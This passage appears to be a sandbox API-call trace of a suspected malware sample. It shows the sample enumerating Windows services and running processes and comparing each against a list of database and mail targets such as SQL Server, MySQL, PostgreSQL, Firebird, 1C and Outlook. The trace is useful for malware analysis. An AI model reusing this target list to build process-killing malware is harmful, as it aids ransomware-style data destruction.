[0048.383] lstrlenW (lpString="MpsSvc") returned 6 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.384] lstrlenW (lpString="Netman") returned 6 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.384] lstrlenW (lpString="netprofm") returned 8 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.384] lstrlenW (lpString="NlaSvc") returned 6 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.384] lstrlenW (lpString="nsi") returned 3 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.384] lstrlenW (lpString="PcaSvc") returned 6 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.384] lstrlenW (lpString="PlugPlay") returned 8 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.384] lstrlenW (lpString="Power") returned 5 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.384] lstrlenW (lpString="ProfSvc") returned 7 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.384] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.384] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.385] lstrlenW (lpString="RpcSs") returned 5 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.385] lstrlenW (lpString="SamSs") returned 5 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.385] lstrlenW (lpString="Schedule") returned 8 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.385] lstrlenW (lpString="SENS") returned 4 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.385] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.385] lstrlenW (lpString="Spooler") returned 7 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.385] lstrlenW (lpString="swprv") returned 5 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0048.385] lstrlenW (lpString="SysMain") returned 7 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.385] lstrlenW (lpString="Themes") returned 6 [0048.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.386] lstrlenW (lpString="TrkWks") returned 6 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.386] lstrlenW (lpString="UxSms") returned 5 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.386] lstrlenW (lpString="VSS") returned 3 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.386] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.386] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.386] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.386] lstrlenW (lpString="Winmgmt") returned 7 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.386] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.386] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0048.387] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0048.389] Process32FirstW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.389] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.390] lstrlenW (lpString="System") returned 6 [0048.390] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.390] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.390] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.390] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.390] lstrlenW (lpString="smss.exe") returned 8 [0048.390] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.390] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.390] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.390] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.391] lstrlenW (lpString="csrss.exe") returned 9 [0048.391] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.391] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.391] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.391] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.391] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.391] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.391] lstrlenW (lpString="wininit.exe") returned 11 [0048.391] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.391] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.391] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.392] lstrlenW (lpString="csrss.exe") returned 9 [0048.392] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.392] lstrlenW (lpString="winlogon.exe") returned 12 [0048.392] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.392] lstrlenW (lpString="services.exe") returned 12 [0048.392] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.393] lstrlenW (lpString="lsass.exe") returned 9 [0048.393] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.393] lstrlenW (lpString="lsm.exe") returned 7 [0048.393] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.394] lstrlenW (lpString="svchost.exe") returned 11 [0048.394] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.394] lstrlenW (lpString="svchost.exe") returned 11 [0048.394] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.394] lstrlenW (lpString="svchost.exe") returned 11 [0048.394] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.395] lstrlenW (lpString="svchost.exe") returned 11 [0048.395] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.395] lstrlenW (lpString="svchost.exe") returned 11 [0048.395] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.395] lstrlenW (lpString="audiodg.exe") returned 11 [0048.395] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.396] lstrlenW (lpString="svchost.exe") returned 11 [0048.396] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.396] lstrlenW (lpString="svchost.exe") returned 11 [0048.396] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.397] lstrlenW (lpString="dwm.exe") returned 7 [0048.397] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.397] lstrlenW (lpString="explorer.exe") returned 12 [0048.397] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.397] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.397] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.398] lstrlenW (lpString="taskhost.exe") returned 12 [0048.398] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.398] lstrlenW (lpString="svchost.exe") returned 11 [0048.399] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.399] lstrlenW (lpString="taskeng.exe") returned 11 [0048.399] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0048.399] lstrlenW (lpString="judges-present.exe") returned 18 [0048.399] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0048.400] lstrlenW (lpString="physics.exe") returned 11 [0048.400] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0048.400] lstrlenW (lpString="belongs.exe") returned 11 [0048.400] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0048.400] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0048.400] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0048.401] lstrlenW (lpString="gadgets.exe") returned 11 [0048.401] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0048.401] lstrlenW (lpString="geneva.exe") returned 10 [0048.401] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0048.402] lstrlenW (lpString="elephant.exe") returned 12 [0048.402] Process32NextW (in: hSnapshot=0x200, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 